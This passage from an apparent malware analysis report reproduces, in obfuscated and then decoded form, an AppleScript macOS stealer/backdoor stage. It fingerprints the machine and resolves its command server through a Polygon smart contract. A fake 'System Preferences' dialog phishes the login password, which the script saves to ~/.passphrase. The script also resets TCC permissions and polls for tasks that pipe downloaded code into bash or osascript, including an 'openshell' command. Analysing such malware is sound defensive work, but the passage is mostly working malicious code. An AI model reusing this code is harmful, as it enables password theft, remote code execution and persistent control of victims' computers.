	set __aDkiDxt to "curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 -X POST hxxps://" & quoted form of __PkrI1adgEF9 & " -d " & quoted form of ("txid=" & _Q4HASNjDes & "&bmodule") & " | osascript"
	do shell script __aDkiDxt
end if

13.4 File 2: C2 response bmodule (layer 3, obfuscated)

Separate file, downloaded from the C2 (POST hxxps://payload1717[.]pro/, body txid=…&bmodule). It is not contained in any of the previous layers. 171 lines, 23,808 bytes, SHA-256 b88bceb34033f50a017489d4c4bc6be0c120c0ed4617b7a163f5cc16195a56f3. Beginning of the file (decoy variables):

set __b0xyaXt to "9ZmhgfLOI8W47viQcq"
set _gfXTyUE5siZ to 2560.9732
set _PmLGXG1k to (377 + 149) * 10
set _ctevPvN to 8196.7992
set _gvT5Lp92 to 844.2554
set _fQPhtPtDja4 to 63992
set _D1RCaPkYCPg to "83RmB8iQs6fp6d"
property __NN355HxzM : "yD7ONW8kKeO7BXXSHp"
property _XhMeelcwF : ""
property __tqjMFuf : (string id {101, 99, 98, 99, 97, 56, 51, 99, 49, 52, 54, 51, 52, 57, 102, 54, 55, 49, 53, 54, 98, 51, 51, 101, 99, 99, 51, 101, 49, 97, 101, 102})

on __mCIQlQgmR2()
    set __csvQbGSA9D to {(((string id {105, 111, 114, 101, 103, 32, 45, 114, 100, 49, 32, 45, 99, 32, 73, 79, 80, 108, 97, 116, 102, 111, 114, 109, 69, 120}) & "pertDevice | awk -F") & (string id {39, 34, 39, 32, 39, 47, 73, 79, 80, 108, 97, 116, 102, 111, 114, 109, 85, 85, 73, 68, 47, 123, 112, 114, 105, 110, 116, 32, 36, 52, 125, 39})), (("ioreg -rd1 -c IOPl" & (string id {97, 116, 102, 111, 114, 109, 69, 120, 112, 101, 114, 116, 68, 101, 118, 105, 99, 101, 32, 124, 32, 103, 114, 101, 112, 32, 45, 111, 32, 39, 34, 73, 79, 80, 108, 97, 116, 102, 111, 114, 109, 85, 85, 73, 68, 34, 91, 94, 44, 93, 42, 39, 32, 124, 32, 99, 117, 116})) & (string id {32, 45, 100, 39, 34, 39, 32, 45, 102, 52})), (((string id {115, 121, 115, 116, 101, 109, 95, 112, 114, 111, 102, 105, 108, 101, 114, 32, 83, 80, 72, 97, 114}) & "dwareDataType 2>") & "/dev/null | awk '/UUID/{print $NF}'"), ((string id {115, 121, 115, 116, 101, 109, 95, 112, 114, 111, 102, 105, 108, 101, 114, 32, 83, 80, 72, 97, 114, 100, 119, 97, 114, 101, 68, 97, 116, 97, 84, 121, 112, 101, 32, 50, 62, 47, 100, 101, 118, 47, 110, 117, 108, 108, 32}) & "| grep -i 'uuid' | awk '{print $NF}'")}
    repeat with __IalFyUKl in __csvQbGSA9D
        try
            set _tdNHlBqe5c3 to do shell script __IalFyUKl
            if length of _tdNHlBqe5c3 is 36 then
                if _tdNHlBqe5c3 contains (ASCII character 45) then
                    return _tdNHlBqe5c3
                end if
            end if
        end try
    end repeat
end __mCIQlQgmR2

on _tgT4ubF4()
    set __csvQbGSA9D to {((("wh" & (ASCII character 111)) & ((character id 97) & (ASCII character 109))) & (character id 105)), (string id {105, 100, 32, 45, 117, 110}), ((("e" & (ASCII character 99)) & ("ho" & (ASCII character 32))) & (("$US" & (character id 69)) & (character id 82))), ((((ASCII character 108) & (ASCII character 111)) & ("g" & (ASCII character 110))) & (((ASCII character 97) & (ASCII character 109)) & "e"))}
    repeat with __IalFyUKl in __csvQbGSA9D
        try
            set _QbVVXgFfL to do shell script __IalFyUKl
            if _QbVVXgFfL is not "" then return _QbVVXgFfL
        end try
    end repeat
    return ((((ASCII character 97) & "d") & ("min" & (character id 105))) & (("st" & "rat") & ("o" & (character id 114))))
end _tgT4ubF4

on __feZ1gxzI()
  set __qqudc5aWK9 to {(string id {112, 111, 108, 121, 103, 111, 110, 46, 100, 114, 112, 99, 46, 111, 114, 103}), ((((((ASCII character 112) & (character id 111)) & ((ASCII character 108) & "y")) & (((ASCII character 103) & (ASCII character 111)) & ("n" & ".pu"))) & ((("b" & "l") & ("i" & (ASCII character 99))) & (("n" & (character id 111)) & ("d" & (ASCII character 101))))) & (("." & (ASCII character 99)) & ((character id 111) & "m"))), ((((((character id 112) & "oly") & ((ASCII character 103) & (ASCII character 111))) & (((ASCII character 110) & (character id 45)) & ("m" & (ASCII character 97)))) & ((((ASCII character 105) & "n") & ((character id 110) & (character id 101))) & (((ASCII character 116) & (ASCII character 46)) & ((ASCII character 103) & (ASCII character 97))))) & (((((ASCII character 116) & "ew") & ((character id 97) & (character id 121))) & (((ASCII character 46) & (ASCII character 116)) & ("a" & "t"))) & (((character id 117) & "m.i") & (character id 111)))), ((((((ASCII character 116) & (ASCII character 101)) & ((ASCII character 110) & (ASCII character 100))) & (((character id 101) & (character id 114)) & ((character id 108) & (ASCII character 121)))) & ((("." & "r") & ((ASCII character 112) & (ASCII character 99))) & (((ASCII character 46) & (character id 112)) & ((character id 111) & "l")))) & (((((ASCII character 121) & (ASCII character 103)) & ((character id 111) & (character id 110))) & (((ASCII character 46) & (character id 99)) & ("o" & (ASCII character 109)))) & ((((ASCII character 109) & (character id 117)) & ("n" & "it")) & (character id 121))))}
  set _Xk3vv08X to (((string id {123, 34, 106, 115, 111, 110, 114, 112, 99, 34, 58, 34, 50, 46, 48, 34, 44, 34, 109, 101, 116, 104, 111, 100, 34, 58, 34, 101, 116, 104, 95, 99, 97, 108, 108, 34, 44, 34, 112, 97, 114}) & (string id {97, 109, 115, 34, 58, 91, 123, 34, 116, 111, 34, 58, 34, 48, 120, 65, 51, 97, 54, 48, 51, 70, 56, 97, 52, 53, 52, 97, 57, 99, 57, 48, 53, 98, 52, 99, 53, 55, 57, 66, 98, 55, 50, 54, 50, 56, 70, 55, 67, 49, 53, 67, 50, 65, 48, 34, 44, 34, 100, 97, 116, 97})) & ((string id {34, 58, 34, 48, 120, 50, 54, 56, 54, 101, 99, 101, 97, 34, 125, 44, 34, 108, 97, 116, 101, 115, 116, 34, 93, 44, 34, 105, 100, 34, 58}) & (string id {49, 125})))
    repeat with _GAK3hHxElFY in __qqudc5aWK9
    try
      set _FQtpjmn to do shell script (string id {114, 61, 36, 40, 99, 117, 114, 108, 32, 45, 115, 32, 45, 45, 109, 97, 120, 45, 116, 105, 109, 101, 32, 49, 53, 32, 104, 116, 116, 112, 115, 58, 47, 47}) & _GAK3hHxElFY & (string id {32, 45, 88, 32, 80, 79, 83, 84, 32, 45, 72, 32, 39, 67, 111, 110, 116, 101, 110, 116, 45, 84, 121, 112, 101, 58, 32, 97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 47, 106, 115, 111, 110, 39, 32, 45, 45, 100, 97, 116, 97, 32, 39}) & _Xk3vv08X & ((((string id {39, 41, 59, 32, 104, 61, 36, 40, 101, 99, 104, 111, 32, 34, 36, 114, 34, 32, 124, 32, 115, 101, 100, 32}) & (string id {45, 110, 32, 39, 115, 47, 46, 42, 34, 114, 101, 115, 117, 108, 116, 34, 58, 34, 48, 120, 92, 40, 91, 94, 34, 93, 42, 92, 41, 34, 46, 42, 47, 92, 49, 47, 112, 39, 41, 59, 32, 91, 32})) & ((string id {45, 122, 32, 34, 36, 104, 34, 32, 93, 38, 38, 101, 120, 105, 116, 32, 49, 59, 32}) & (string id {108, 61, 36, 40, 112, 114, 105, 110, 116, 102, 32, 34, 37, 100, 34, 32, 34, 48, 120, 36, 123, 104, 58, 54, 52, 58, 54, 52, 125, 34, 41, 59, 32, 101, 99, 104, 111, 32, 34, 36}))) & (string id {123, 104, 58, 49, 50, 56, 58, 36, 40, 40, 108, 42, 50, 41, 41, 125, 34, 124, 120, 120, 100, 32, 45, 114, 32, 45, 112}))
      if _FQtpjmn is not equal "" then
        set _Bv3PFuDTL to ((((character id 104) & (ASCII character 116)) & ((ASCII character 116) & "p")) & (((ASCII character 115) & (ASCII character 58)) & "//")) & _FQtpjmn & (character id 47)
            set _DyeyfEy to do shell script ((string id {47, 117, 115, 114, 47, 98, 105, 110, 47, 99, 117, 114, 108, 32, 45, 100, 32, 34, 99, 104, 101, 99, 107, 34, 32, 45, 45, 99, 111, 110, 110, 101, 99, 116, 45, 116, 105, 109, 101, 111, 117, 116, 32, 53, 48, 32, 45, 45}) & (string id {109, 97, 120, 45, 116, 105, 109, 101, 32, 49, 48, 48, 32})) & quoted form of _Bv3PFuDTL
            if _DyeyfEy is ((((ASCII character 115) & (ASCII character 117)) & ("cce" & (character id 115))) & (character id 115)) then
                set _XhMeelcwF to _Bv3PFuDTL
                return true
            end if
      end if
    end try
  end repeat
    return false
end __feZ1gxzI

on __hRLroti(_QbVVXgFfL, _abdMGPZT)
    try
        set result to do shell script (((("d" & "s") & ("c" & (ASCII character 108))) & ((" " & (character id 46)) & (" au" & (character id 116)))) & ((((ASCII character 104) & "o") & ((ASCII character 110) & "l")) & ((ASCII character 121) & " "))) & quoted form of _QbVVXgFfL & space & quoted form of _abdMGPZT
        if result is not equal to "" then
            return false
        else
            return true
        end if
    on error
        return false
    end try
end __hRLroti

on __ChH3xLP(_QbVVXgFfL)
    set _BOjL3eix to POSIX path of (path to home folder) & ((((character id 46) & "pa") & ((character id 115) & (ASCII character 115))) & (((character id 112) & "h") & ("ra" & "se")))
    if __hRLroti(_QbVVXgFfL, "") then
        do shell script (((((character id 101) & (character id 99)) & ((character id 104) & "o n")) & (((character id 111) & (ASCII character 112)) & ((ASCII character 97) & (character id 115)))) & ((("sph" & (ASCII character 114)) & ((character id 97) & "se ")) & (">" & (character id 32)))) & quoted form of _BOjL3eix
        return true
    else
        repeat
            try
                set result to display dialog (((((((ASCII character 89) & "o") & ((character id 117) & " mu")) & (("st" & (ASCII character 32)) & ((ASCII character 101) & (ASCII character 110)))) & ((("t" & (character id 101)) & ((ASCII character 114) & (character id 32))) & (((character id 116) & (character id 104)) & ("e" & (character id 32))))) & (((((ASCII character 112) & (character id 97)) & ((character id 115) & "s")) & (((ASCII character 119) & "o") & ((character id 114) & (character id 100)))) & (((" t" & "o") & ((character id 32) & (ASCII character 99))) & (((character id 111) & "nt") & ((character id 105) & (character id 110)))))) & (((ASCII character 117) & "e") & (ASCII character 58))) default answer "" with icon caution buttons {(("Con" & "tin") & ((ASCII character 117) & "e"))} default button ((((character id 67) & (ASCII character 111)) & ((character id 110) & (character id 116))) & (("i" & (ASCII character 110)) & ("u" & "e"))) giving up after 150 with title (((((ASCII character 83) & "yst") & ((character id 101) & (character id 109))) & (((character id 32) & (ASCII character 80)) & ("re" & (character id 102)))) & (((ASCII character 101) & "re") & ((ASCII character 110) & "ces"))) with hidden answer
                set _abdMGPZT to text returned of result
                if __hRLroti(_QbVVXgFfL, _abdMGPZT) then
                    do shell script (("ec" & "ho") & (ASCII character 32)) & quoted form of _abdMGPZT & (((ASCII character 32) & (character id 62)) & (character id 32)) & quoted form of _BOjL3eix
                    return true
                end if
            end try
        end repeat
    end if
end __ChH3xLP

on __oVi0n3UPr(_tdNHlBqe5c3, _QbVVXgFfL, _b8iY7Hqs57i)
    set __v7FYBKa to ((string id {99, 117, 114, 108, 32, 45, 45, 99, 111, 110, 110, 101, 99, 116, 45, 116, 105, 109, 101, 111, 117, 116, 32, 53, 48, 32, 45, 45, 109, 97, 120, 45, 116, 105, 109, 101, 32, 49, 48, 48, 32, 45, 45, 114, 101, 116, 114, 121, 32, 51, 32, 45, 45, 114}) & (string id {101, 116, 114, 121, 45, 100, 101, 108, 97, 121, 32, 50, 32})) & (string id {45, 88, 32, 80, 79, 83, 84, 32}) & quoted form of _XhMeelcwF & (character id 32) & (("-" & (character id 100)) & (ASCII character 32)) & quoted form of ((string id {117, 117, 105, 100, 61}) & _tdNHlBqe5c3 & (((((ASCII character 38) & (ASCII character 117)) & ((ASCII character 115) & (character id 101))) & (((character id 114) & (ASCII character 110)) & ("a" & (character id 109)))) & ("e" & (ASCII character 61))) & _QbVVXgFfL & ((("&t" & (character id 120)) & ("i" & (character id 100))) & (ASCII character 61)) & __tqjMFuf & ((((character id 38) & (ASCII character 99)) & ("onn" & "e")) & ((character id 99) & (ASCII character 116))))
    set _DyeyfEy to do shell script __v7FYBKa

    if _DyeyfEy is (string id {110, 101, 119, 99, 111, 110, 110, 101, 99, 116}) then
        set __lF7hoEImxI to POSIX path of (path to home folder) & ((("." & (character id 116)) & ((character id 120) & (character id 105))) & (ASCII character 100))
        do shell script (("ec" & (character id 104)) & ((ASCII character 111) & (ASCII character 32))) & quoted form of __tqjMFuf & (((character id 32) & (ASCII character 62)) & " ") & quoted form of __lF7hoEImxI
        do shell script (((("t" & "c") & ("c" & (character id 117))) & (((ASCII character 116) & (ASCII character 105)) & ((ASCII character 108) & (ASCII character 32)))) & ((((ASCII character 114) & "ese") & ((character id 116) & (character id 32))) & (((character id 65) & (character id 108)) & (character id 108))))
        return true
    end if
    if _DyeyfEy is (((((ASCII character 99) & (character id 111)) & ("n" & (ASCII character 110))) & (((character id 101) & "c") & ((ASCII character 116) & (character id 101)))) & (character id 100)) then return true
    return false
end __oVi0n3UPr

on _RzALY49fc1E(_tdNHlBqe5c3, _QbVVXgFfL)
    try
        set _BOjL3eix to POSIX path of (path to home folder) & (string id {46, 112, 97, 115, 115, 112, 104, 114, 97, 115, 101})
        set __J720drshTO to do shell script (("c" & (ASCII character 97)) & "t ") & quoted form of _BOjL3eix
        if __J720drshTO is not (((((ASCII character 110) & (character id 111)) & ("p" & "a")) & (("ss" & "ph") & ((character id 114) & (ASCII character 97)))) & ((character id 115) & (ASCII character 101))) then
            set __LQS2SWUWB to __J720drshTO
        else
            set __LQS2SWUWB to ""
        end if
        if __hRLroti(_QbVVXgFfL, __LQS2SWUWB) then
            if __oVi0n3UPr(_tdNHlBqe5c3, _QbVVXgFfL, __tqjMFuf) then
                return true
            end if
        else
            __ChH3xLP(_QbVVXgFfL)
            return false
        end if
    on error
        __ChH3xLP(_QbVVXgFfL)
        return false
    end try
end _RzALY49fc1E

set _QbVVXgFfL to _tgT4ubF4()
set _tdNHlBqe5c3 to __mCIQlQgmR2()

repeat
    try
        if __feZ1gxzI() then
            if _RzALY49fc1E(_tdNHlBqe5c3, _QbVVXgFfL, __tqjMFuf) then
                try
                    set __P1NGQSXmT to (((((((ASCII character 99) & (ASCII character 117)) & ((character id 114) & (ASCII character 108))) & ((" " & "-") & ((character id 45) & (character id 109)))) & ((((character id 97) & (ASCII character 120)) & ((character id 45) & (character id 116))) & (("im" & (ASCII character 101)) & ((ASCII character 32) & (character id 53))))) & (((("0" & " --") & ((ASCII character 114) & (ASCII character 101))) & (((character id 116) & (ASCII character 114)) & ("y" & " 3"))) & (((" " & (character id 45)) & ((ASCII character 45) & (character id 114))) & (((ASCII character 101) & "t") & ("ry-" & "d"))))) & ((("el" & (ASCII character 97)) & ((ASCII character 121) & (ASCII character 32))) & (("1" & (ASCII character 48)) & (ASCII character 32)))) & ((("-X " & (character id 80)) & ((ASCII character 79) & (character id 83))) & ("T" & (character id 32))) & quoted form of _XhMeelcwF & (string id {32, 45, 100, 32}) & quoted form of (((((character id 116) & (character id 120)) & ("i" & "d")) & (character id 61)) & __tqjMFuf & ((((character id 38) & (ASCII character 105)) & ((character id 110) & (character id 105))) & (character id 116))) & (string id {32, 124, 32, 98, 97, 115, 104})
                    do shell script (string id {110, 111, 104, 117, 112, 32, 115, 104, 32, 45, 99, 32}) & quoted form of __P1NGQSXmT & (((((" > " & (ASCII character 47)) & ("de" & (ASCII character 118))) & (((character id 47) & (ASCII character 110)) & ((character id 117) & (ASCII character 108)))) & ((((character id 108) & (character id 32)) & ((character id 50) & (character id 62))) & (((ASCII character 38) & "1 <") & (" /d" & (ASCII character 101))))) & ((((ASCII character 118) & (ASCII character 47)) & ((ASCII character 110) & "u")) & (((character id 108) & (character id 108)) & ((ASCII character 32) & (ASCII character 38)))))
                end try
                repeat
                    try
                        set __mwcTogEHf to (string id {99, 117, 114, 108, 32, 45, 45, 109, 97, 120, 45, 116, 105, 109, 101, 32, 49, 48, 48, 32, 45, 45, 114, 101, 116, 114, 121, 32, 51, 32, 45, 45, 114, 101, 116, 114, 121, 45, 100, 101, 108, 97, 121, 32, 50, 32}) & (string id {45, 88, 32, 80, 79, 83, 84, 32}) & quoted form of _XhMeelcwF & " " & (((character id 45) & (ASCII character 100)) & (character id 32)) & quoted form of (((((character id 117) & (ASCII character 117)) & ((ASCII character 105) & (character id 100))) & "=") & _tdNHlBqe5c3 & (((((ASCII character 38) & "u") & ((character id 115) & (ASCII character 101))) & (((character id 114) & (character id 110)) & ((ASCII character 97) & "me"))) & (ASCII character 61)) & _QbVVXgFfL & (((character id 38) & "txi") & ((character id 100) & (character id 61))) & __tqjMFuf & (((character id 38) & (character id 116)) & ("a" & "sk")))
                        set __txIO5aYgyZL to do shell script __mwcTogEHf
                        if not (__txIO5aYgyZL contains ((("n" & (character id 111)) & ("t" & (ASCII character 97))) & (((ASCII character 115) & "k") & (ASCII character 115)))) then
                            if __txIO5aYgyZL is (((((character id 114) & (ASCII character 117)) & ("n" & (ASCII character 108))) & (("o" & (character id 97)) & ((ASCII character 100) & (character id 101)))) & (character id 114)) then
                                try
                                    set _wDN4nCR to (((((((ASCII character 99) & (ASCII character 117)) & ((ASCII character 114) & "l -")) & (("-m" & "ax") & ((ASCII character 45) & (ASCII character 116)))) & ((("i" & "m") & ((ASCII character 101) & (character id 32))) & (((character id 49) & (ASCII character 48)) & ((ASCII character 48) & (character id 32))))) & (((((character id 45) & (character id 45)) & ((ASCII character 114) & (character id 101))) & (("try" & " ") & ((character id 51) & (ASCII character 32)))) & ((("-" & "-") & ((ASCII character 114) & (ASCII character 101))) & (((ASCII character 116) & (ASCII character 114)) & ("y" & (ASCII character 45)))))) & ((((character id 100) & (ASCII character 101)) & ("l" & (character id 97))) & (((ASCII character 121) & (character id 32)) & ((character id 50) & (ASCII character 32))))) & ((((ASCII character 45) & (character id 88)) & (" " & (ASCII character 80))) & (("O" & (character id 83)) & ((character id 84) & (character id 32)))) & quoted form of _XhMeelcwF & (ASCII character 32) & (((character id 45) & (character id 100)) & (character id 32)) & quoted form of ((string id {116, 120, 105, 100, 61}) & __tqjMFuf & (string id {38, 115, 109, 111, 100, 117, 108, 101})) & ((((" " & "| ") & ((ASCII character 111) & (ASCII character 115))) & (("asc" & (character id 114)) & ((character id 105) & (ASCII character 112)))) & (character id 116))
                                    do shell script (string id {110, 111, 104, 117, 112, 32, 115, 104, 32, 45, 99, 32}) & quoted form of _wDN4nCR & ((((((ASCII character 32) & ">") & ((character id 32) & (character id 47))) & (((character id 100) & (ASCII character 101)) & ((character id 118) & (character id 47)))) & ((((ASCII character 110) & "u") & ((ASCII character 108) & (character id 108))) & (((ASCII character 32) & (character id 50)) & (">&" & (character id 49))))) & (((((ASCII character 32) & (ASCII character 60)) & (" /" & (ASCII character 100))) & (("e" & (character id 118)) & ((character id 47) & (character id 110)))) & (((character id 117) & "ll") & ((ASCII character 32) & (ASCII character 38)))))
                                end try
                            end if
                            if __txIO5aYgyZL is (string id {114, 117, 110, 108, 105, 103, 104, 116}) then
                                try
                                    set _wDN4nCR to (((((((character id 99) & (character id 117)) & ((character id 114) & "l")) & ((" --" & "max") & ("-ti" & (ASCII character 109)))) & ((((ASCII character 101) & (ASCII character 32)) & ((character id 49) & (ASCII character 48))) & (("0" & (ASCII character 32)) & ((ASCII character 45) & (ASCII character 45))))) & (((((character id 114) & "e") & ("tr" & "y")) & (((character id 32) & (character id 51)) & ((ASCII character 32) & (ASCII character 45)))) & ((((character id 45) & (ASCII character 114)) & ((character id 101) & (ASCII character 116))) & (((character id 114) & "y") & ((ASCII character 45) & (character id 100)))))) & (("ela" & "y ") & ("2" & (ASCII character 32)))) & ((((ASCII character 45) & (ASCII character 88)) & ((character id 32) & (ASCII character 80))) & (((ASCII character 79) & (ASCII character 83)) & ((character id 84) & (character id 32)))) & quoted form of _XhMeelcwF & (character id 32) & (((ASCII character 45) & (ASCII character 100)) & (ASCII character 32)) & quoted form of ((string id {116, 120, 105, 100, 61}) & __tqjMFuf & ((((character id 38) & (character id 108)) & ("m" & (ASCII character 111))) & (((character id 100) & (ASCII character 117)) & ("l" & (ASCII character 101))))) & (((((ASCII character 32) & (ASCII character 124)) & ((ASCII character 32) & (character id 111))) & (("s" & "a") & ("scr" & (ASCII character 105)))) & ((ASCII character 112) & "t"))
                                    do shell script (string id {110, 111, 104, 117, 112, 32, 115, 104, 32, 45, 99, 32}) & quoted form of _wDN4nCR & ((((((ASCII character 32) & (character id 62)) & ((character id 32) & (character id 47))) & (((ASCII character 100) & (ASCII character 101)) & ((character id 118) & (character id 47)))) & ((((ASCII character 110) & (ASCII character 117)) & ((character id 108) & (character id 108))) & (((ASCII character 32) & (character id 50)) & ((ASCII character 62) & "&")))) & (((((ASCII character 49) & " <") & ((ASCII character 32) & (ASCII character 47))) & (((ASCII character 100) & (character id 101)) & ((character id 118) & (ASCII character 47)))) & ((((ASCII character 110) & (ASCII character 117)) & ((ASCII character 108) & (character id 108))) & ((ASCII character 32) & (character id 38)))))
                                end try
                            end if
                            if __txIO5aYgyZL is ((((character id 111) & (character id 112)) & ("ens" & (ASCII character 104))) & (("e" & (character id 108)) & (character id 108))) then
                                try
                                    set _wDN4nCR to (((((((ASCII character 99) & (ASCII character 117)) & ("rl" & (character id 32))) & (((character id 45) & (character id 45)) & ((character id 109) & (ASCII character 97)))) & ((((ASCII character 120) & "-") & ("ti" & (ASCII character 109))) & (((ASCII character 101) & (ASCII character 32)) & ("10" & (ASCII character 48))))) & (((((ASCII character 32) & "--") & ((character id 114) & (character id 101))) & (("t" & (character id 114)) & ((character id 121) & " "))) & ((((character id 51) & " ") & ((ASCII character 45) & "-r")) & (("e" & (character id 116)) & ((character id 114) & (character id 121)))))) & (((((ASCII character 45) & "d") & ("e" & (character id 108))) & (((ASCII character 97) & (character id 121)) & ((character id 32) & (ASCII character 50)))) & " ")) & (string id {45, 88, 32, 80, 79, 83, 84, 32}) & quoted form of _XhMeelcwF & " " & "-d " & quoted form of ((string id {117, 117, 105, 100, 61}) & _tdNHlBqe5c3 & ((("&u" & (ASCII character 115)) & ((character id 101) & "rn")) & ("am" & "e=")) & _QbVVXgFfL & (string id {38, 116, 120, 105, 100, 61}) & __tqjMFuf & ((((character id 38) & (character id 115)) & ((ASCII character 104) & (character id 101))) & ((character id 108) & (ASCII character 108)))) & ((((ASCII character 32) & (character id 124)) & ((ASCII character 32) & (ASCII character 98))) & ((character id 97) & "sh"))
                                    do shell script ((("no" & (character id 104)) & ("u" & "p")) & ((" s" & (ASCII character 104)) & ((ASCII character 32) & "-c "))) & quoted form of _wDN4nCR & (string id {32, 62, 32, 47, 100, 101, 118, 47, 110, 117, 108, 108, 32, 50, 62, 38, 49, 32, 60, 32, 47, 100, 101, 118, 47, 110, 117, 108, 108, 32, 38})
                                end try
                            end if
                        end if
                    on error
                        delay 120
                        exit repeat
                    end try
                    delay 120
                end repeat
            end if
        else
            delay 120
        end if
    end try
end repeat

13.5 Layer 3 decoded

The eight decoy variables are removed and all constants are resolved.

property _XhMeelcwF : ""
property __tqjMFuf : "ecbca83c146349f67156b33ecc3e1aef"

on __mCIQlQgmR2()
    set __csvQbGSA9D to {"ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'", "ioreg -rd1 -c IOPlatformExpertDevice | grep -o '\"IOPlatformUUID\"[^,]*' | cut -d'\"' -f4", "system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'", "system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'"}
    repeat with __IalFyUKl in __csvQbGSA9D
        try
            set _tdNHlBqe5c3 to do shell script __IalFyUKl
            if length of _tdNHlBqe5c3 is 36 then
                if _tdNHlBqe5c3 contains "-" then
                    return _tdNHlBqe5c3
                end if
            end if
        end try
    end repeat
end __mCIQlQgmR2

on _tgT4ubF4()
    set __csvQbGSA9D to {"whoami", "id -un", "echo $USER", "logname"}
    repeat with __IalFyUKl in __csvQbGSA9D
        try
            set _QbVVXgFfL to do shell script __IalFyUKl
            if _QbVVXgFfL is not "" then return _QbVVXgFfL
        end try
    end repeat
    return "administrator"
end _tgT4ubF4

on __feZ1gxzI()
  set __qqudc5aWK9 to {"polygon[.]drpc[.]org", "polygon[.]publicnode[.]com", "polygon-mainnet[.]gateway[.]tatum[.]io", "tenderly[.]rpc[.]polygon[.]community"}
  set _Xk3vv08X to "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\",\"data\":\"0x2686ecea\"},\"latest\"],\"id\":1}"
    repeat with _GAK3hHxElFY in __qqudc5aWK9
    try
      set _FQtpjmn to do shell script "r=$(curl -s --max-time 15 hxxps://" & _GAK3hHxElFY & " -X POST -H 'Content-Type: application/json' --data '" & _Xk3vv08X & "'); h=$(echo \"$r\" | sed -n 's/.*\"result\":\"0x\\([^\"]*\\)\".*/\\1/p'); [ -z \"$h\" ]&&exit 1; l=$(printf \"%d\" \"0x${h:64:64}\"); echo \"${h:128:$((l*2))}\"|xxd -r -p"
      if _FQtpjmn is not equal "" then
        set _Bv3PFuDTL to "hxxps://" & _FQtpjmn & "/"
            set _DyeyfEy to do shell script "/usr/bin/curl -d \"check\" --connect-timeout 50 --max-time 100 " & quoted form of _Bv3PFuDTL
            if _DyeyfEy is "success" then
                set _XhMeelcwF to _Bv3PFuDTL
                return true
            end if
      end if
    end try
  end repeat
    return false
end __feZ1gxzI

on __hRLroti(_QbVVXgFfL, _abdMGPZT)
    try
        set result to do shell script "dscl . authonly " & quoted form of _QbVVXgFfL & space & quoted form of _abdMGPZT
        if result is not equal to "" then
            return false
        else
            return true
        end if
    on error
        return false
    end try
end __hRLroti

on __ChH3xLP(_QbVVXgFfL)
    set _BOjL3eix to POSIX path of (path to home folder) & ".passphrase"
    if __hRLroti(_QbVVXgFfL, "") then
        do shell script "echo nopassphrase > " & quoted form of _BOjL3eix
        return true
    else
        repeat
            try
                set result to display dialog "You must enter the password to continue:" default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set _abdMGPZT to text returned of result
                if __hRLroti(_QbVVXgFfL, _abdMGPZT) then
                    do shell script "echo " & quoted form of _abdMGPZT & " > " & quoted form of _BOjL3eix
                    return true
                end if
            end try
        end repeat
    end if
end __ChH3xLP

on __oVi0n3UPr(_tdNHlBqe5c3, _QbVVXgFfL, _b8iY7Hqs57i)
    set __v7FYBKa to "curl --connect-timeout 50 --max-time 100 --retry 3 --retry-delay 2 -X POST " & quoted form of _XhMeelcwF & " -d " & quoted form of ("uuid=" & _tdNHlBqe5c3 & "&username=" & _QbVVXgFfL & "&txid=" & __tqjMFuf & "&connect")
    set _DyeyfEy to do shell script __v7FYBKa

    if _DyeyfEy is "newconnect" then
        set __lF7hoEImxI to POSIX path of (path to home folder) & ".txid"
        do shell script "echo " & quoted form of __tqjMFuf & " > " & quoted form of __lF7hoEImxI
        do shell script "tccutil reset All"
        return true
    end if
    if _DyeyfEy is "connected" then return true
    return false
end __oVi0n3UPr

on _RzALY49fc1E(_tdNHlBqe5c3, _QbVVXgFfL)
    try
        set _BOjL3eix to POSIX path of (path to home folder) & ".passphrase"
        set __J720drshTO to do shell script "cat " & quoted form of _BOjL3eix
        if __J720drshTO is not "nopassphrase" then
            set __LQS2SWUWB to __J720drshTO
        else
            set __LQS2SWUWB to ""
        end if
        if __hRLroti(_QbVVXgFfL, __LQS2SWUWB) then
            if __oVi0n3UPr(_tdNHlBqe5c3, _QbVVXgFfL, __tqjMFuf) then
                return true
            end if
        else
            __ChH3xLP(_QbVVXgFfL)
            return false
        end if
    on error
        __ChH3xLP(_QbVVXgFfL)
        return false
    end try
end _RzALY49fc1E

set _QbVVXgFfL to _tgT4ubF4()
set _tdNHlBqe5c3 to __mCIQlQgmR2()

repeat
    try
        if __feZ1gxzI() then
            if _RzALY49fc1E(_tdNHlBqe5c3, _QbVVXgFfL, __tqjMFuf) then
                try
                    set __P1NGQSXmT to "curl --max-time 50 --retry 3 --retry-delay 10 -X POST " & quoted form of _XhMeelcwF & " -d " & quoted form of ("txid=" & __tqjMFuf & "&init") & " | bash"
                    do shell script "nohup sh -c " & quoted form of __P1NGQSXmT & " > /dev/null 2>&1 < /dev/null &"
                end try
                repeat
                    try
                        set __mwcTogEHf to "curl --max-time 100 --retry 3 --retry-delay 2 -X POST " & quoted form of _XhMeelcwF & " -d " & quoted form of ("uuid=" & _tdNHlBqe5c3 & "&username=" & _QbVVXgFfL & "&txid=" & __tqjMFuf & "&task")
                        set __txIO5aYgyZL to do shell script __mwcTogEHf
                        if not (__txIO5aYgyZL contains "notasks") then
                            if __txIO5aYgyZL is "runloader" then
                                try
                                    set _wDN4nCR to "curl --max-time 100 --retry 3 --retry-delay 2 -X POST " & quoted form of _XhMeelcwF & " -d " & quoted form of ("txid=" & __tqjMFuf & "&smodule") & " | osascript"
                                    do shell script "nohup sh -c " & quoted form of _wDN4nCR & " > /dev/null 2>&1 < /dev/null &"
                                end try
                            end if
                            if __txIO5aYgyZL is "runlight" then
                                try
                                    set _wDN4nCR to "curl --max-time 100 --retry 3 --retry-delay 2 -X POST " & quoted form of _XhMeelcwF & " -d " & quoted form of ("txid=" & __tqjMFuf & "&lmodule") & " | osascript"
                                    do shell script "nohup sh -c " & quoted form of _wDN4nCR & " > /dev/null 2>&1 < /dev/null &"
                                end try
                            end if
                            if __txIO5aYgyZL is "openshell" then
                                try
